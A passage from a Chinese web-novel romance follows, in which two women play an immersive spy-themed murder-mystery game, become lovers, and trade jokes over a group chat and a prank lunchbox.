“如果这算求婚的话,我很怕,你会把这么重要的一天起名为‘厕所日’。” 池柚忍不住笑了出来,能听到门里的白鹭洲在跟着她一起轻轻地笑。 “白鹭洲,你出来。”池柚忽然说。 白鹭洲:“怎么了?” 池柚只重复:“你出来。” 白鹭洲垂头拧开隔间的锁,推开门,走出去。 池柚就站在她面前,含着笑定定地看着她。 纱布包裹下,柔软的黑发清浅地落下披满肩背,眼底盛满窗外的月光星芒。让人莫名觉得,她好似突然长大了。 不是从21岁到22岁的长大,也不是从160CM到161CM的长大。 她的五官没有突然变得锐利,什么都不曾更改。 可是,她长大了。 她漂亮,清澈,如清泉,似飞雪。 涓涓绵绵,洋洋洒洒,从世外而来,将尘世洗涤无数载,温柔地飘落到爱人的眼前。 一瞬间,万千时光都重新浮现。 池柚向前走了一步,捧起白鹭洲的脸,缓缓闭上眼睛。 白鹭洲想要说些什么。 池柚已经猜到了白鹭洲要说的话,先开口,极轻地喃喃: “我看过了,周围没有人。” 于是白鹭洲便不再挣扎,任由池柚按着她的肩,将她抵在隔间门上,献来一个温柔漫长的亲吻。 池柚微微撤开,很近很近地与白鹭洲对视。 “你以后会给我一场最盛大,最美丽的求婚仪式,对吗?” 白鹭洲能感觉到她们的呼吸正在相缠。 “对。” 她沙哑地低声回道。 “我们会在一起一辈子,对吗?” 池柚又问。 白鹭洲:“对。” “你曾经答应过我的事,都会一件一件地兑现,对吗?” “对。” 池柚的眼里不知何时漫上一层湿润。 “从今以后,你会每天都对我说‘我爱你’,对吗?” 白鹭洲也红了眼眶,点头。 “对。” 池柚抬起右手,轻抚白鹭洲的侧脸,含着泪轻笑。 “有些事情,你总是让我等很久。” “再也不会了。” 白鹭洲按住池柚的手,嗓音有一点压抑后的颤抖。 “我保证,会给你最盛大的求婚,会在你身边一辈子,答应你的事全部去做,每一天都和你说‘我爱你’。不会再让你等,会很认真很细心地爱你,等你恢复了就去见双方的家长,陪你学驾照,给你买车,让你能方便地去上班,再给你买个房子,让你以后和我吵架的时候有个地方能去,还要……” “白鹭洲。” 池柚打断了白鹭洲。 她没有接白鹭洲的这些冗长的话,只踮起脚尖,紧紧环住白鹭洲的脖子,说: “我也爱你。” 100-110 第101章 白鹭洲的这一句话, 让池柚难受了一整晚。 她半夜失眠的时候,撑起脑袋幽怨地盯着熟睡的白鹭洲,心想: 你哪怕说“我相信你, 池柚”呢,为什么要说“我相信你, 长官”? 长官心里很煎熬啊。 池长官煎熬到凌晨三点多才睡着, 睡得还不是很安稳, 外面一点风吹草动都可以惊扰到她。 她也不知道为什么,可能是代入太深,总觉得现在什么东西都可以将白鹭洲从她身边带走, 而她以往最信任的智商和解剖技术,在此刻都没有能握住白鹭洲的能力。 她每一次翻身,都会再次翻回去,将熟睡的白鹭洲抱得更紧。 睡着的白鹭洲虽然没醒, 潜意识也让她在每次池柚抱过来时抬起手, 略迟钝地轻拍两下池柚的背。 忐忑的一夜过去,DM没有真的大半夜跑来打扰她们,只在早晨叫扮演卫兵的人过来敲门,喊她们下楼吃早餐。 池柚顶着两个黑眼圈到餐桌边坐下时, 被宋七月狠狠嘲笑了。 宋七月:“处长, 你昨晚熬夜挖地道去了?” 池柚疲惫地说:“要是能挖就好了。”她真想带着白鹭洲半夜直接私奔掉。 宋七月:“你别说,给人家的楼挖个洞, 是你能干出来的事。” 白鹭洲给池柚夹菜, 关心道:“昨晚没休息好,多吃点, 补补身体。” 池柚吃着白鹭洲夹来的菜,心里愈发不是滋味。 白鹭洲:“怎么了, 今天脸色这么差?” 池柚咕哝:“没事,你也吃。” 白鹭洲盯了会儿状态不佳的池柚,又默默挪开目光,继续喝杯子里的豆浆。 她不再言语,低垂的睫毛遮住幽深的黑瞳孔。 餐桌另一边—— 温确给自己的水杯里添了一点白水,犹豫半晌,轻声问柴以曼:“你昨晚睡得好么?” 柴以曼吃着早餐头也不抬,“关你什么事。” 温确:“这个剧本的故事写得挺好,很适合做广播剧。” 柴以曼依旧冷淡:“关我什么事。” 温确抿了抿嘴唇,握着杯子的手越攥越紧,声音更轻:“你还是不肯跟我好好聊一聊?我以为我们的关系……” 柴以曼放下筷子,侧过头认真地看着对方说:“温确,你* 清醒一点,我和你,从来没有任何关系。” 说完,柴以曼也不想继续在这张桌上和温确共同用餐了,直接起身,想往外走。 门口的卫兵迅速转身,用步枪指住她。 DM也恰是时候地走进来,开始进入剧情: “看来各位都吃得差不多了,那我们也可以进入正题了。” 他走到长桌边。 “昨天我让你们找一个凶手出来,怎么样,有结果了吗?” 桌上所有人沉默。 “没找出来?哼,没关系,我有的是办法让你们能找出来。” DM抬手,招进来一队卫兵。 “请吧,跟我去地牢里散个步,消消食。” 卫兵们围着六个人,半引路半逼迫地带她们走出偏厅,顺着一条通往地下的台阶走下去,来到DM口中的地牢深处。 地牢阴森寒凉,牢门里关着几个人,牢门外立着一个可以坐着的铁刑架,缠满粗重的锁链。一股令人背后发凉的血腥味遍布满屋,除了池柚,所有人进来都皱起了眉头。 这布景太真实了,一点没有道具刻意的痕迹,更像是找了一个真地牢,原封不动地把她们带了进来。要说这里真死过几个人,她们也信。 “这牢里关着的,想必各位都不陌生。” DM拔出手枪,指着牢里的人一个个点名。 “花匠小姐的父亲,副科长的生死之交,钢琴家的妹妹,奥,还多了一位,处长应该认识?你好像常去他家买肉脯啊。” 虽然牢里的演员们是第一次见,但DM给出的信息很快让池柚意识到,肉脯店的老板,就是剧本里和她常年接头的上级,也是当年在她孩童时期救她回去的老师。 “还是找不到凶手吗?”DM回过头问。 众人沉默。 砰——! 突兀的开枪声响起,道具枪里的血浆包打在了肉脯店老板的胸口。 随着血花绽开,肉脯店老板跪着倒了下去,重重地摔在阴凉的古地砖上。被血淹上的脸面向外,苍老的眼睛含着泪,最后看了一眼池柚。 宋七月被吓了一跳,差点原地蹦起来,“我靠,这么突然!” 柴以曼蹙了蹙眉,“这血浆包里装的真血么,好浓的血腥味。” 黎青:“这被杀的是谁啊……” “……” 池柚被眼前直观又真实的场景震慑到,她习惯了所有生物的鲜血,可她还不习惯鲜血和自己身处的故事连接上关系。 DM又将枪口对准了牢里下一个瑟瑟发抖的人。 “还找不出来凶手吗?” 他转头看向牢内人对应的玩家角色。 终归是故事里的人,演员们也是素未谋面的陌生人,感情未到,DM接连问的几个人都仍旧不开口。 可看着牢里的人一个一个被连着打死,一场一场演绎生动上演,除了温确之外的人,脸上都多少被撬松了表情,只是依然坚持着不说话。毕竟还没有一个逼得她们非得供个人出来的硬性理由。 直到那黑洞洞的枪口一转,抵在了池柚的脑袋上。 “既然你们都不说,那我就挑一个我觉得嫌疑最大的人。处长,人就死在你家里,我说就是你杀的,很合理吧?” DM的手指抠在了扳机上。 “没事,很快的。你死得会很快,我的差也会交得很快。” 这下其他几个人的态度不一样了。 她们本里都有一个共同任务,就是一定要保护同伴的安全。因为她们几个人身上都有未完成的重要情报任务,关乎抗日大局,任何一个同伴死了,她们这场游戏都算白玩了。 宋七月最压不住性子,急忙开口:“我说我说,你别动她。我、我说凶手是……” 还能是谁。 不能说同伴,那就只有一个倒霉蛋能当替罪羊了。 宋七月咬着牙,指向白鹭洲。 白鹭洲抱着胳膊,见宋七月指向了她,挑了挑眉。 “我?” DM问其他人:“你们呢?” 黎青:“就她。” 柴以曼:“没错,就是她。” 温确:“嗯。” DM用枪更深地抵住池柚的脑袋,问: “处长,你觉得呢?是你的新婚夫人吗?” “……” 池柚看向白鹭洲,发现白鹭洲此刻也正在看着她。 可她不敢多与白鹭洲对视一秒,慌乱地瞥开了目光。 她看得出,白鹭洲并不在乎那几个人的指认,只在等待她的回答。 池柚想起故事里的回忆。 一生如履薄冰,只有这唯一的私心与温存。 还有昨晚白鹭洲和她说的话。 ——“我很开心,是这辈子最开心的一天。” ——“这是最任性,却最不后悔的决定。” ——“我相信你。” ——“我相信你,长官。” 玩个游戏,何必要这么诛心呢。 池柚心一横,想说,要不你就直接杀了我算了。 池柚这表情一出,对面几个人就看出来她想干什么了,忙朝她使眼色,叫她别一时冲动,连累大家任务都完不成。 DM见池柚总不说话,便说:“你再不说,我就当你默认了。” 池柚的嘴几次想动,然而看着对面的同伴们,却也没办法再说出什么话来。 白鹭洲别过头去,笑了一下。 分不清她脸上这个笑带了什么情绪,就好像她只是单纯地想笑一笑,很难从她嘴角的弧度里解读出是自嘲,还是苦涩,或是欣慰。 “好,这是默认了。” DM的枪终于从池柚的脑袋上挪开了,挥手示意: “把凶手给我绑上刑架!” 卫兵们走过来,用枪抵着白鹭洲走到铁刑架边,迫她坐下,拉出铁锁链吊起她的双手,捆住她的腰和双腿,不玩一点虚的。 宋七月咕哝:“原来这刑架是给玩家准备的。” 黎青:“看来流程里面,我们中肯定有一个人会被绑上去。” 宋七月:“友尽时刻啊。” 柴以曼:“我现在理解你们为什么那么喜欢看戏了,当乐子人真爽。” “噗,”宋七月看向池柚,“小柚子,心疼不?” 池柚却笑不出来。 白鹭洲单薄地坐在刑架上,衬得锁链又粗又重,那双纤细手腕套在链铐里,不多时就勒出了红痕。随着她缓慢地呼吸,伏在她锁骨处的锁链也一起一落,摩擦着她脖侧苍白的皮肤。 她最近身上本就一直带着病气,现在被吊在刑架上,那病气就越发容易刺痛人眼。 池柚看着白鹭洲被勒出红痕的手腕,和被铁链擦得发红的脖子,心疼坏了。 早知道……早知道不要来玩这个游戏了。 她这么想着,鼻尖都酸了。 “你们到底要干什么?”池柚忍不住问DM。 DM晃了晃手中的手枪,“干什么,很简单。凶手已经抓出来了,那接下来,就请大家每人开一枪——”他勾起嘴角,加重语气,“亲手处决她。” 几个人面面相觑,有点惊讶,接着又下意识看池柚。 白鹭洲似是猜到了她们的犹豫,抬起眼,“快点吧,别拖了。早点开完枪,我还能早点被放下来。” 宋七月:“你心态挺好啊。” 白鹭洲沉了沉肩,偏过头看向地面,叹息般说:“不好能行吗。” 池柚见白鹭洲一直不看她,觉得白鹭洲肯定是生自己气了。 也是,昨晚才和她说了那些话,她今天扭脸就默许了别人给她泼脏水。明明是唯一双手干净的人,却被一群凶手投上了断头台。 温确和白鹭洲没什么交情,性格本也淡漠。她懒得走什么煽情流程了,直接从DM手里接过道具枪,第一个对准白鹭洲。 砰——! 枪响后,第一朵血花绽开在雪白旗袍的腰间。 毕竟是打出去的子弹类血包,还是带了些力的。血浆溅出时,白鹭洲也随之幅度很小地轻颤了一下。 柴以曼第二个上,脸上还带笑。 “来,刚好让我报一下抢相亲对象的仇。”她开玩笑道。 砰——! 黎青和宋七月接上。 这两个没良心的才不会犹豫,砰砰两枪飞速解决战斗。 看她们那表情,没多补一枪都是善良了。 手枪最后递到了池柚的手上。 这才是万众期待的重头戏么。 几个人端着胳膊,排排站好,行注目礼。 白鹭洲身上已经全是血了,左一片右一片,染得几乎看不出白旗袍的原本颜色。 她也在刑架上吊了一段时间,被铁链勒出的红痕越来越深,让她不得不反手捉住链端才能稍作缓和。她垂着头,不知道是哪一枪走偏打在了她肩头,大片鲜红血迹溅了她半张脸,让她看起来真的有了奄奄一息的错觉。 池柚知道,她不会开这最后一枪的。 她放下手枪,屏住呼吸走到白鹭洲面前,诚恳地认错: “对不起。” 白鹭洲没说话。 池柚看着白鹭洲满身被打出的血迹,愧疚地问: “疼不疼啊?” “还好。” 白鹭洲终于开口。 “或许现在可以给我来杯酒了。” 池柚听她这样说,知道她没有怪自己了。 于是短促地笑了一下,说: “你想喝杯酒吗?” 白鹭洲仰起头,被血染脏的睫毛有些艰难地抬起,看向池柚的眼睛。 她忽然坐直了一点,前倾些许,铁链在她的胸口和腕间发出沉重的金属摩擦声。 接着,她用只有她们两个人能听到的声音,极轻地回道: “那你有止痛药吗?” 闻言,池柚脸上的表情凝固住。 你有……止痛药吗…… 这、这不是…… 池柚声音颤抖地试探着问:“你……你是……” 白鹭洲明白她想问的后半句,肯定地点头:“我是。” 池柚的眼睛立刻急红了:“那为什么不……” 为什么不和她接头呢?! “我说过,善意的谎言,有时候是有其他想要达成的目的。你看,今天我不就成功地让你们自然而然地都投我了。” 白鹭洲的唇角在血浆污渍里微弱地弯了弯。 “保护好你了吗,长官?”. 其实白鹭洲的剧本任务和其他人一样,最重要的一点,就是要保护好同伴。 只是其他人在看到任务栏那句“尽量齐心协力和ta一起活着走出去”时,都默认了将自己的安危也放在了需要完成的任务中,所以她们的选择是尽可能找到同伴,然后再去试着找另一个替罪羊。 白鹭洲的重点,却是“尽量”这两个字。 尽量一起活着走出去,意思就是,万不得已,只让对方走出去也好。 那晚池柚到处找人接头的时候,白鹭洲一直关注着池柚的位置和表情,轻易就猜出这大厅里全是我党同志。 不难预料,如果池柚知道了六个人都是同伴关系,池柚肯定又要做出牺牲自己的准备了。 那就假装是唯一的局外人吧。 给所有人,尤其是给池柚,一个理所当然送白鹭洲去死的理由。 这不是剧本规定的角色动线,而是白鹭洲自己做出的选择。 她答应过,会给她最纯粹、最不计得失的爱。 那么,就算是在一场虚假的游戏里,她也一定会给她。 第102章 游戏结束时, 又走了一段相当漫长的演绎环节。 白鹭洲在铁刑架上被吊了将近一个小时,她被放下来的时候整个人都累得不行,扭着酸痛的手腕, 疲惫地扶着铁锁链起身,差点没站稳。 池长官连忙上前, 扶住她在现实世界死而复生的夫人。 “幸好你还活着。”池柚含着眼泪抓紧了白鹭洲的手。 白鹭洲轻笑, “不然呢?游戏而已啊。” 池柚认真地说:“对我来说不止是游戏, 我刚刚真的感觉你死过一次了。” 白鹭洲便顺着她的话,问一个自己好奇的问题:“那如果我刚刚真的死了,给你留的最后一句遗言, 你能记多久?” ——“保护好你了吗,长官?” “不用你真的死,你这句话,我也会记一辈子。” 池柚一字一句地说。 白鹭洲张了张嘴, 想安慰池柚, 或者开个小玩笑,可她…… 她好像也有点被池柚的话感动到,低头笑了笑,拉着池柚的手继续往前走了。 店家在偏厅准备了最后一顿丰盛的饭作为收尾, 供大家吃饱喝足的同时, 聊一聊这段游戏里有意思的地方,做做复盘。 吃饭时, 她们也听了其他CP的详细故事。 每个人都有一段丰满的故事线, 柴以曼和温确那对,钢琴教师和花匠女儿, 是青梅竹马重逢,却身怀国仇家恨面对面不能相认的故事。黎青和宋七月那对, 是在延安就相恋的多年情侣,来到76号后却只能将对方当做陌生人,还要背上偷情骂名的故事。 听她们说,写得都特别感人特别虐心。 但一直没听白鹭洲聊起她的完整故事线。 她的人物线还有很多疑点,比如什么时候入的党,什么时候知道处长也是我党人员,和处长结婚到底有没有别的目的。 池柚问起这些问题,白鹭洲都不答,只说,等回去有空慢慢和她讲。 散场的时候,大家都去换回自己的衣服。 白鹭洲有些犹豫,皱着眉看自己这一身血呼啦茬的旗袍。 DM贴心地说:“这旗袍送您了,您穿回去洗完澡扔掉吧。我们这个本,最后上刑架的角色衣服都是送的,毕竟弄得这么脏,也不好让您当场换之前自己的衣服,血浆染到的话确实不好洗。” 白鹭洲:“谢谢。” DM:“该说谢谢的是我们。说实话我们开了这么多场,也是第一次见到您这种玩法,给了我们很多灵感呢。” DM客气地送她们出去,一路送到停车场才走。 黎青和宋七月打车离开,离开前还说下次有机会再约一起玩。柴以曼要走时,温确似乎还想说点什么,但柴以曼没搭理她,转身就进车了。 温确在原地站了一会儿,才去找自己的车。 等挨个目送完她们都离开后,白鹭洲才舒一口气,靠在车门上闭了闭眼。 “帮我擦一下脸上的血,都流到脖子里了。” 池柚便拿出纸巾,仰起头仔细地帮白鹭洲擦脸。 “在地牢里不是很厉害的吗,一个人抗下所有的大英雄,擦血还要我帮忙。” 她心疼又嗔怨地说。 白鹭洲的睫毛在池柚的纸巾里眨了眨,“怕一会儿路上开车,交警看到我这形象,把咱俩带到派出所去。” 池柚笑了,认真地擦白鹭洲的脸。但擦很久也还是擦不干净,看来得回家用沐浴露。 白鹭洲:“不往下流就行了,走吧。” 两个人坐进车里,往枫江林邸开去。 终于能回家,好好休息一下了。 一个小时后,回到枫江林邸。 在地下停车场停好车,两个人便上楼。白鹭洲之前已经把池柚的虹膜和指纹录入了所有门锁,于是池柚可以走在前面,帮精疲力竭的她去开门。 回到家,白鹭洲正要去卧室卫生间洗澡,却感觉手腕一紧。 池柚拉住她,让她转回来。 可池柚不说话,只低头捉着白鹭洲的手,轻轻捏。 白鹭洲软下声音问:“怎么了?” 池柚小声说:“这两天的游戏,我玩得很开心,谢谢你。” 白鹭洲:“怎么突然这么有礼貌。” 池柚:“不是有礼貌,就是……想告诉你,我觉得,和你在一起,很幸福。” 白鹭洲闻言笑了,彻底扭转了想去淋浴间的趋势,站定在池柚面前。 “是吗?” “说实话,我之前一直有点担心,你不会谈恋爱。”池柚抬起头。 白鹭洲:“我……不会谈恋爱?” 池柚:“因为你以前总是木木的,冷冷的,老是拒人于千里之外。所以也觉得,你就算谈恋爱了也还是那样,不懂得怎么爱人。” 白鹭洲:“那你很会爱人吗?” “当然了,”池柚很肯定地点点头,“我很会爱人。” “是啊,你很会爱人。所以,我有一个很好的老师。” 白鹭洲抬起手,揉揉池柚的耳朵。 池柚愣了愣,不确定地反问:“你的意思是,我是你的老师吗?” 白鹭洲:“爱人方面,确实是。” 池柚忍不住笑,双手捂住开始发烫的脸,还想掩饰住自己的笑意,因为推紧了脸颊说话声音也含含糊糊的可爱,“啊,怎么有点害羞呢。” “害羞了吗,”白鹭洲也笑着弯腰,从池柚的指缝里看她,“我看看,脸有没有红。” “诶呀……”池柚捂着脸扭到一边。 “要不,你先害羞着,我先去洗澡。” 白鹭洲向池长官请示。 “你等等。”池柚却拉住白鹭洲。 白鹭洲:“又怎么了?” 池柚默默地看了一会儿现在满身是血浆的白鹭洲,“……其实,我还有个难以启齿的想法。” 白鹭洲:“什么?” “……” 池柚确实觉得有点难为情,左顾右盼好阵子,才说出来。 “今天看到你被绑在刑架上,身上脸上都是血,除了心疼,我也……觉得……很性感。” 白鹭洲怔住,“你……知道性感是什么意思?” 池柚坦荡道:“跟‘性’有关的感受,不是么?” 白鹭洲一时不知道该怎么回答。 “我就是觉得,那个时候,包括现在这个时候,我特别特别想亲你。” 池柚轻轻地摸上白鹭洲还沾着血渍的侧脸。 “还想把你的衣服都解开,从领口那里,一颗一颗扣子地解开。你没有别的地方能逃,也不能拒绝我,因为你还被铁链锁着。你只要稍微动一动,铁链的声音就窸窸窣窣地……提醒你……” 白鹭洲咽了咽开始干燥的喉咙。 “然后呢?” “然后,我要在这里种一颗种子。” 池柚在白鹭洲的心口点了点,随即手指向上,仔细地描摹遍她的眼睛,鼻子,嘴唇。 “等一夜过去,这里,这里,这里,都会开出花来。” 她在用最美的童话般的比喻,描述着最不纯洁的事情。 白鹭洲:“你……想做那种事,你确定吗?” 池柚:“我想试试。” 短暂的静默。 “……会不会太快了?我们才在一起没多久。”白鹭洲按捺住疯狂跳动的心。 池柚:“这种事情,分快慢吗?” 白鹭洲:“不分。只是我原本预想的,还要更慢一点。” 池柚:“但我觉得今天就很合适。” “好。” 白鹭洲不再坚持那些无谓的顺序。 其实本来就没有什么绝对正确的速度与顺序,池柚想要开始的那一刻,就是最正确的顺序。 白鹭洲轻轻揽住池柚的腰,低下头温柔地吻她,想先慢慢地温暖一下气氛。 可池柚今天没有这个耐心,她也没有继续做那个被动的角色。或许是沾血的白鹭洲终于点燃了她内心纯净之地那盏从未亮起过的火苗,她开始真正地懂了“欲望”这两个字的每一笔每一画。 她按着白鹭洲的肩,逼得白鹭洲步步后退,直退到沙发边,她便推着对方坐下去,自己也跨坐在了白鹭洲的腿上。 以往在接吻中很需要氧气的池柚,今天像是进化成了用腮呼吸的鱼一样。 她的吻没有什么技巧,就是单纯地想更使劲更亲密地贴近对方,牙齿,舌尖,只要能烙上白鹭洲的地方她都不吝力气地使用。 情至深处时,她甚至觉得自己简直想要吃掉白鹭洲了。 可十多分钟过去,白鹭洲都被吻得需要暂时别过头呼吸了,池柚都还只是狂乱地亲吻,再没有其他动作。 “就这样亲一晚上么?” 白鹭洲微喘着气,似笑非笑地看着池柚。 池柚炽烈的目光照下来,欲言又止,嘴唇抿了又抿。 “我……我……不会。” 不会。 白鹭洲:“医学生,这种事情不会?” 池柚:“生理课只教过男女□□的基础知识,其他的……我……” 白鹭洲:“那看来,今晚还得要我来当这个老师。” 池柚:“嗯……” “先洗澡吧。” 白鹭洲扶着池柚从她腿上下来。 “我身上都是血,弄脏你了。” 池柚小声回:“不脏。” 白鹭洲轻浅地弯了弯嘴角,俯过去亲了一下池柚的侧脸。 “洗澡吧。” 两间浴室的灯亮起,又灭下。 风卷起卧室阳台的窗帘,海浪般翻涌起落。 放置在那里许多年的塑料假盆栽,不知什么时候已经慢慢被一盆一盆地换成了新鲜的绿植与鲜花。 红玫瑰和白玫瑰藏在鲜花丛中,被夜风吹得拥挤在一起,花瓣紧紧相抵,摩擦。 池柚侧躺在床上,看着被风拂弯了腰的花枝,手指渐渐抓紧了枕边的床单。 白鹭洲在她身后抱着她,脸垂在她的肩窝里,几不可闻地和她说话。 “教得好吗?” “教得……很好,但能不能……”声带愈缩愈紧,“再教得慢一点,慢一点……慢一点……” “好。” 白鹭洲更紧地抱住池柚,忽然说:“你不是想知道,我完整的故事线吗?” 池柚在迷糊中勉强分出心,“什么?” “其实我和她们的身份,还有一点不一样。” 白鹭洲缓缓说道。 “她们只是你的同志,而我,是你的‘外套’。” 池柚:“外套?” “从一开始,在组织里,我就被当做你的‘外套’培养训练。从延安,到76号,我都一直暗中保护着你。我是穿在你身上的皮,是你的最后一件伪装,必要时候,我会为你挡下任何嫌疑与隐患。子弹没有穿过我之前,你永远不会真的有危险。” 白鹭洲的瞳孔滑到眼角,看着池柚。 “就像现在这样。” 她极轻地呢喃。 “我一直在用我的身体,完完整整地抱着你。” 池柚的手快将床单抓破了。 “那你……现在也是我的……外套吗?” “现在,应该不是了吧。” 白鹭洲将脸埋进池柚的颈窝里。 “嗯?” 池柚艰难地哼出一声。 “外套是在包裹,我们现在……” 尾音黏糊轻掠,失去重量。 “……是在交融。” 池柚咬住枕头的一角,控制不住地使劲闭上眼。 因为白鹭洲的这句话,她的灵魂与躯体一起,被温暖的海浪彻底淹没。 第103章 第二天是个周一。 池柚要第一次上班了, 白鹭洲也要去师大上课了。 清晨,白鹭洲擦着临自己闹钟响的前一分钟,自觉地朦胧醒来。 一睁眼, 就看见昨晚睡在她右边的池柚不知何时蹲在了她这侧的床边,手里拿着什么东西, 鬼鬼祟祟的。 “你怎么总是醒这么早?平时就算了, 昨晚折腾那么久, 还……”白鹭洲看到池柚往身后藏了个什么东西,“你刚刚在干什么?” 池柚装傻:“没干什么啊,我就是睡不着。那个……我已经做好早餐了, 还有你要喝的中药,你的午餐便当,我也都做好了。” 白鹭洲起身,“你刚刚到底在做什么?” 池柚将她藏起来的东西死死握在手里, 怕多说露馅, 直接凑上去软软地抱住白鹭洲,试图用撒娇蒙混过关。 “我们去吃早饭吧。” 不想说算了,白鹭洲也不是那种非得勉强池柚把所有秘密都暴露给她的人。 她无奈地叹口气。 “好吧,做什么好吃的了?” 池柚抱着白鹭洲的腰左右轻晃。 “你来看就知道了。” 经历过那种事情以后, 有些感觉, 确实明显不一样了。 如果是昨天以前,池柚来叫白鹭洲吃早餐, 只会轻轻地叫醒她, 然后站在卫生间门口等她洗漱完,再拉着手一起去餐桌。 可是今天, 她不用管白鹭洲的睡衣是不是还没系好,不用保持着微妙的想亲近却又不敢太过亲近的距离。她可以毫无顾虑地在白鹭洲还没完全起床的时候, 就窝进白鹭洲的怀里赖着,闻闻白鹭洲的头发,捏捏白鹭洲的腰。 池柚其实很喜欢和人亲近的,只是以前,她自己都没发现这一点。 谁让她除了白鹭洲以外只喜欢死掉的东西。而那些冷冰冰的生物尸体,她只对解剖它们感兴趣,她就是再变态,也肯定不会想要去那些东西怀里打滚。 她唯一喜欢的活体生物白鹭洲,之前又一直对她爱答不理的,她也没有机会亲近对方。 好在现在有机会了。 而且,是比想象中更亲近的亲近。 池柚告诉白鹭洲,她觉得自己很幸运。 白鹭洲右手抱着池柚,左手扣着睡衣的领口,问为什么。 池柚说,她喜欢的东西真的很少,喜欢的活人更是只有白鹭洲一个,这唯一的一个,居然也喜欢上了她,这还不幸运吗? 白鹭洲扣好了扣子,拉着池柚去卫生间洗漱。 “我不是很早就和你表白过了吗,怎么今天才有这个感慨?” “不知道。” 池柚偏头想了想。 “可能,意识到‘我们真的已经在一起了,而且会在一起很久很久’这件事,需要很多阶段来不停地证明吧。就像一道数学证明题,就算开头就告诉了我结果,我也需要一个步骤一个步骤地去论证它。” 白鹭洲在电动牙刷上挤牙膏,“这是你的新课题么?” 池柚:“算是,就是不知道要进行多久。” “那希望你解题顺利。”白鹭洲轻笑一下,开始刷牙。 吃过早餐,白鹭洲也喝过了药。 池柚将白鹭洲中午和下午要喝的药都一块煎了,装在一个有刻度的透明水壶里晾凉,嘱咐白鹭洲一次喝一半。又拿出给她做好的午餐便当,说放在微波炉里打一下就好。 白鹭洲想打开便当盒看看是什么菜,却被池柚制止了。 “这是我的创意菜,你不能提前看。” “创意菜?” “嗯~我第一次尝试这么做呢,你中午吃的时候就知道了。” 白鹭洲端着便当盒子,叹气。 “现在一共有两件不叫我知道的事了。一个是这份午餐,另一个就是,你早上到底做了什么。” 池柚飞快地拎起包,跑到大门处,按下门把手,“我先去殡仪馆报到了,晚上见!” “你……”白鹭洲见池柚跑得比兔子还快,别的话也顾不上说了,只远远地朝门缝里的影子喊,“路上小心!” “好——”池柚的声音消失在大门的后面。 白鹭洲回到餐桌前,准备再喝一口水,就也出门去上班。 喝水的时候,她顺手打开了手机,想看看今天的天气。 结果一解锁屏幕,几十条未读群消息跳了出来,还显示艾特了她。 白鹭洲含着水,点进群。 往上拉到头,慢慢滑着看。 看着看着,她的脸色越来越黑。 池柚:【姐姐们,我发现一个特别有缘的点!】 黎青:【哎哟你这一大早的,消息提示音直接给我滴滴醒了,什么大事儿啊?】 宋七月:【小柚子你说的事最好真的有爆点,困死老娘了。】 柴以曼:【你们才醒啊?我还在码字,没睡呢。】 宋七月:【6啊大作家。】 宋七月又接连催道: 【小柚子快说!】 池柚:【我发现,我和老师,跟9这个数字特别有缘。】 宋七月:【为什么?】 池柚:【她年龄比我大9岁,身高比我高9厘米,还有,刚刚我偷偷量了一下她的手,她的中指长度也刚好是9厘米哎。】 黎青:【哦哟,量手指了啊~】 宋七月:【啧啧啧啧啧啧啧,不用说了,我已经猜到昨晚发生什么了,恭喜恭喜恭喜!】 柴以曼:【唉,这速度,这就是面对真爱的区别嘛。】 看到这里,白鹭洲额角已经有青筋浮出来了。 宋七月:【@鹭洲__白老师,我们以后叫你9老师吧,大长手~】 黎青:【@鹭洲__9老师你好。】 宋七月:【@鹭洲__9老师你说句话呀9老师。】 柴以曼:【9老师估计还没看手机。】 宋七月:【9老师别害羞,快回话快回话!@鹭洲__@鹭洲__@鹭洲__】 黎青:【帮你艾特@鹭洲__@鹭洲__@鹭洲__】 宋七月:【@鹭洲__@鹭洲__@鹭洲__9老师9老师9老师!】 白鹭洲闭了闭眼,按灭手机屏。 现在她总算知道池柚大早上鬼鬼祟祟在干什么了,也知道了池柚当时藏起来的东西,肯定是一把卷尺。 白鹭洲有了一种预感。 池柚能瞒着她的事情,绝对不是什么好事情。 现在是群里这件事,之后,很有可能是那个便当盒。 不过,既然答应了池柚不会提前打开,白鹭洲再怀疑,也没有去动那个便当盒。她收拾好东西,就拎着沉甸甸的饭盒去学校了。 白鹭洲今天的课排得很满。 她虽然已经是教授职称,但她在一众老教授中毕竟年轻,所以之前学校只让她带美食鉴赏这种学术性不强的选修课作为锻炼。 最近,领导表示对她这两年的工作很满意,有意提拔她,想让她开始试着带古典文献学课程。 这也是她前段时间那么忙的原因之一。 等一上午满当当的课都结束,白鹭洲疲惫地回到办公室,端出终于到点能打* 开的便当盒。 很大很重的一个饭盒,满满地塞了三大层。白鹭洲将它端正地摆在桌子中间,先喝药,边喝药边用余光端详它。 若有所思。 “白教授,今天不去食堂吃饭吗?”李教授路过白鹭洲桌子时问。 白鹭洲:“不去了,带饭了。” 李教授:“你今天居然自己带饭,带的什么?肯定很好吃吧,美食鉴赏课的老师做的菜,真想开开眼界。” 白鹭洲:“这眼界……最好还是别开了。” 李教授笑道:“我又不吃你的,就想看一眼,这么小气?” 白鹭洲沉了沉肩,说,那你看吧。 现场开盲盒,她这也是头一次。 她打开最上面的盖子,双手捏住,稳了稳心,才揭开。 第一层里面装的是拌得油汪汪、金灿灿的鸡枞菌细面,上面洒了黑白芝麻粒和青翠的碎葱,盖子一开,香味扑鼻而来。 听着同事惊喜的夸赞,白鹭洲暂且松了口气,揭去第一层,看第二层。 第二层是颜色鲜亮的茄汁大虾,虾头和虾壳都已经细心地剥掉了,完整的虾仁规整地在盒子里排排列好,洒了一些欧芹做点缀,看起来又漂亮又美味,引人食欲叠生。 白鹭洲端起第二层,再去看最后一层。 才掀开条缝,她看见最后一层里面的那一瞬间,脸色微变,立刻盖了回去。 “差不多了吧,李教授,我看食堂那边人要多起来了,您要不先过去?” 白鹭洲礼貌地问。 李教授看了眼手表,确实是晚了,忙和白鹭洲道别。 “还好你提醒我,我先走了!” 等办公室里的人都走完了,白鹭洲才舒出一口气,将第二层彻底掀开,露出最下面的东西,盯着它,看了好一会儿。 随后,白鹭洲拿出手机拍了张照,在微信上发给池柚。 【你可以告诉我,这是什么吗?】 照片上,在饭盒低端,端端正正地摆着一个人类的踝部距骨。 就是池柚第一次试图追白鹭洲时,送到白鹭洲办公桌上、引得白鹭洲直接报警的那块踝部距骨。 这一块和当初那一块,几乎是一模一样。 池柚应该也在午休,很快回复了: 【这是甜品啊。】 白鹭洲:【甜品?】 